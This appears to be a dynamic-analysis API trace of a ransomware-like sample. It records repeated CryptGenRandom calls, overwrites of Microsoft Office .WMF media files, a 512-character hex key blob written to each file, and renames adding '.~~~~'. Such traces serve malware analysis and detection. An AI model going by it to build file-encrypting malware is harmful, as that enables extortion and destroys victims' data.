	[0125.519] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.519] CloseHandle (hObject=0xc4) returned 1
	[0125.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1138
	[0125.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0300840.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0300840.wmf.~~~~")) returned 1
	[0125.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c1138 | out: hHeap=0x300000) returned 1
	[0125.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.745] GetLastError () returned 0x0
	[0125.784] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0125.795] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.795] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0125.795] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24578793986) returned 1
	[0125.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4717330, dwHighDateTime=0x1d60e1e)) 
	[0125.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8488
	[0125.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8488 | out: hHeap=0x300000) returned 1
	[0125.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3af818
	[0125.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbb58
	[0125.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af818 | out: hHeap=0x300000) returned 1
	[0125.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbb58 | out: hHeap=0x300000) returned 1
	[0125.799] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0125.799] GetLastError () returned 0x0
	[0125.799] GetLastError () returned 0x0
	[0125.799] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0125.799] GetLastError () returned 0x0
	[0125.799] GetLastError () returned 0x0
	[0125.811] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff6da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.812] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x926, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x926, lpOverlapped=0x0) returned 1
	[0125.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.814] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.814] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.814] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.814] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.814] CloseHandle (hObject=0xc4) returned 1
	[0125.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbb58
	[0125.815] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18180_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18180_.wmf.~~~~")) returned 1
	[0125.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbb58 | out: hHeap=0x300000) returned 1
	[0125.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.816] GetLastError () returned 0x0
	[0125.847] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0125.848] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.848] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0125.849] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24583883700) returned 1
	[0125.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4789750, dwHighDateTime=0x1d60e1e)) 
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821358
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821358 | out: hHeap=0x300000) returned 1
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbab0
	[0125.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbab0 | out: hHeap=0x300000) returned 1
	[0125.849] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0125.850] GetLastError () returned 0x0
	[0125.850] GetLastError () returned 0x0
	[0125.850] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0125.850] GetLastError () returned 0x0
	[0125.850] GetLastError () returned 0x0
	[0125.969] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff8a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.969] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x758, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x758, lpOverlapped=0x0) returned 1
	[0125.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0125.970] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.971] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.971] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.971] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.971] CloseHandle (hObject=0x11c) returned 1
	[0125.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bba08
	[0125.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf.~~~~")) returned 1
	[0126.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bba08 | out: hHeap=0x300000) returned 1
	[0126.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.131] GetLastError () returned 0x0
	[0126.132] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.133] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.133] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.133] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24612326270) returned 1
	[0126.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4a37010, dwHighDateTime=0x1d60e1e)) 
	[0126.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821828
	[0126.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821828 | out: hHeap=0x300000) returned 1
	[0126.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bbc00
	[0126.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbc00 | out: hHeap=0x300000) returned 1
	[0126.134] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.134] GetLastError () returned 0x0
	[0126.135] GetLastError () returned 0x0
	[0126.135] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.135] GetLastError () returned 0x0
	[0126.135] GetLastError () returned 0x0
	[0126.139] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff804, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.139] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7fc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x7fc, lpOverlapped=0x0) returned 1
	[0126.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0126.141] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.142] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.142] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.142] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.142] CloseHandle (hObject=0x11c) returned 1
	[0126.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bbc00
	[0126.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf.~~~~")) returned 1
	[0126.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bbc00 | out: hHeap=0x300000) returned 1
	[0126.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.144] GetLastError () returned 0x0
	[0126.144] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.146] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.146] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.146] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24613610036) returned 1
	[0126.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4a5d170, dwHighDateTime=0x1d60e1e)) 
	[0126.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821860
	[0126.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821860 | out: hHeap=0x300000) returned 1
	[0126.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bad90
	[0126.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bad90 | out: hHeap=0x300000) returned 1
	[0126.147] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.147] GetLastError () returned 0x0
	[0126.147] GetLastError () returned 0x0
	[0126.147] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.147] GetLastError () returned 0x0
	[0126.148] GetLastError () returned 0x0
	[0126.150] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff95c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.151] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x6a4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x6a4, lpOverlapped=0x0) returned 1
	[0126.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0126.152] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.153] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.153] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.153] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.153] CloseHandle (hObject=0x11c) returned 1
	[0126.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bad90
	[0126.153] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf.~~~~")) returned 1
	[0126.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bad90 | out: hHeap=0x300000) returned 1
	[0126.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.155] GetLastError () returned 0x0
	[0126.155] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0126.156] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.156] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.156] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24614647378) returned 1
	[0126.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4a832d0, dwHighDateTime=0x1d60e1e)) 
	[0126.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bcb8
	[0126.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bcb8 | out: hHeap=0x300000) returned 1
	[0126.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bab98
	[0126.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bab98 | out: hHeap=0x300000) returned 1
	[0126.157] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0126.157] GetLastError () returned 0x0
	[0126.158] GetLastError () returned 0x0
	[0126.158] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0126.158] GetLastError () returned 0x0
	[0126.158] GetLastError () returned 0x0
	[0126.160] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff8da, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.160] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x726, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x726, lpOverlapped=0x0) returned 1
	[0126.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0126.162] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.162] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
